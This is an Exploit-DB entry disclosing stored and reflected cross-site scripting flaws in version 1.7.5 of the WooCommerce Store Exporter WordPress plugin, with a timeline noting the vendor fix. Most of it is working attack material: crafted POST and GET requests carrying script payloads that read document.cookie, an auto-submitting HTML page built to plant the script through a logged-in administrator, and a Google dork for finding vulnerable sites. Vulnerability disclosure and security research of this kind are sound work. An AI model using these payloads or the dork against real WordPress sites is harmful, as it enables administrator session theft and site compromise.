Exploit-DB #34424
Description: WordPress Plugin WooCommerce Store Exporter 1.7.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2014-08-27
Author: Mike Manzotti

Exploit:
# Exploit Title: WooCommerce Store Exporter v1.7.5 Stored XSS
# Google Dork: inurl:"woocommerce-exporter"
# Date: 26/08/2014
# Exploit Author: Mike Manzotti @ Dionach
# Vendor Homepage: http://www.visser.com.au/plugins/store-exporter/
# Software Link: http://downloads.wordpress.org/plugin/woocommerce-exporter.zip  (Fixed)
# Version: v1.7.5

# Vulnerability Disclosure Timeline:
2014-08-25:  Discovered vulnerability
2014-08-25:  Vendor Notification
2014-08-25:  Vendor Response/Feedback
2014-08-26:  Vendor Fix/Patch (v 1.7.6)
2014-08-26:  Public Disclosure

Stored Cross Site Scripting

URL

FIELDS

/wp-admin/admin.php?page=woo_ce&tab=export

POST: export_filename


POST http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings
export_filename="</script><script>alert(document.cookie)</script>&delete_file=0&encoding=UTF-8&timeout=0&delimiter=%2C&category_separator=%7C&bom=1&escape_formatting=all&enable_auto=0&auto_type=products&order_filter_status=&auto_method=archive&enable_cron=0&submit=Save+Changes&action=save-settings

Response:
<input name="export_filename" type="text" id="export_filename" value="\"</script><script>alert(document.cookie)</script>"

[cid:image005.jpg@01CFC090.5AED79D0]

Scenario:
An attacker creates a malicious page as shown below and uploads it on a server under attacker's control.

<html>
<head>
<title>XSS WooCommerce - Store Exporter</title>
</head>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="1" action="http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings">
<input type="hidden" name="export_filename" value='"</script><script>alert(document.cookie)</script>"'/>
<input type="hidden" name="action" value="save-settings"/>
</form>
</body>
</html>

When a WordPress administrator visits the malicious page above, a JavaScript code which prompts administrator's cookies will be saved on the victim's website. The attacker could send the URL pointing to the malicious webpage in an email or posting it in a review of a WooCommerce product, as shown below:

[cid:image012.jpg@01CFC090.5AED79D0]

When the WordPress administrator clicks on the malicious URL...

[cid:image013.jpg@01CFC090.5AED79D0]

The JavaScript code will be executed and saved in Store Exporter Settings:

http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings
[cid:image014.jpg@01CFC090.5AED79D0]

Reflected Cross Site Scripting

URL

FIELDS

/wp-admin/admin.php?page=woo_ce&tab=export

GET: tab, POST: dataset


1) Example
Request:
http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=<script>alert(1)</script<http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=%3cscript%3ealert(1)%3c/script>>

Response:
[...]
<code>tabs-export<script>alert(1)</script>c172f.php</code>
[...]

http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=<script>alert(document.cookie)</script<http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=%3cscript%3ealert(document.cookie)%3c/script>>
[cid:image015.jpg@01CFC090.5AED79D0]

http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings

2) Example
Request:
POST http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=export
dataset=users1be3c<script>alert(1)<%2fscript>87acc&product_fields_order%5Bparent_id%5D=&product_fields_order%5Bparent_sku%5D=&product_fields_order%5Bproduct_id%5D=&product_fields_order%5Bsku%5D=&product_field

Response:
[...]
<h3>Export Details: export_users1be3c<script>alert(1)</script>
[...]

Scenario:
Similar scenarios could be reproduced as shown in the Stored Cross-site Scripting scenario.

Kind regards,
Mike

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